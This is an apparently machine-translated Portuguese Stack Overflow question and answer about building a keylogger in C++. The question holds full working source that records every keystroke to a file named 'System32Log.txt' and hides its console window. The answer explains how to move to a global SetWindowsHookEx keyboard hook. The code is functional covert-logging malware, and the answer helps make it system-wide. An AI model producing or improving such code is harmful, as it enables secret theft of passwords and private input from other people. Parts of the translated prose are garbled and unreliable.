Fazer um Keylogger

Eu queria fazer um pequeno teclado no meu próprio pc para ver como as teclas funcionam com C++. Eu encontrei algum código on-line e apenas editou - o um pouco embora eu não tenho certeza de como fazer o que eu quero fazer.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Quero arranjá-lo para guardar coisas como "."", "ou mais, mas eu não tenho certeza, já que eu não estou familiarizado com os traços chave. Também eu gostaria de adicionar algo que faria com que ele use menos CPU( atualmente 25% em meu i5), eu provavelmente deveria usar o sono( valor), embora eu não sou claro que valor procurar.

Author: Mat, 2012-10-18

1 answers

Dê uma olhada rápida nas respostas aqui e aqui para mais informações sobre quais as funções da API do windows são apropriadas para o seu trabalho.


A ideia básica é definir uma função chamada "gancho" no teclado usando SetWindowsHookEx (ou teclado oder Keyboard_LL - você provavelmente vai querer o primeiro embora). Ao descarregar o teu Carregador de chaves, tens de o desligar. Depois de definir o gancho, O Windows vai chamar a função gancho após cada evento de teclado. Você processá-lo (registrá-lo em algum lugar) e, em seguida, você chamar o próximo gancho com CAllNextHook para continuar a processar o evento no Windows. Vais precisar de tentar e depurar lá.

É isso para um gancho global (o segundo link fornece informações em MSDN). Pesquisa sobre a função SetWindowsHookEx e tente entender os mecanismos por trás dela e você logo terá sucesso. Você também pode refinar a sua pesquisa no stackoverflow usando "gancho" como palavra-chave em sua pesquisa (por exemplo, lendo este Aqui.)
 6
Author: Tobias Langner, 2017-05-23 12:34:08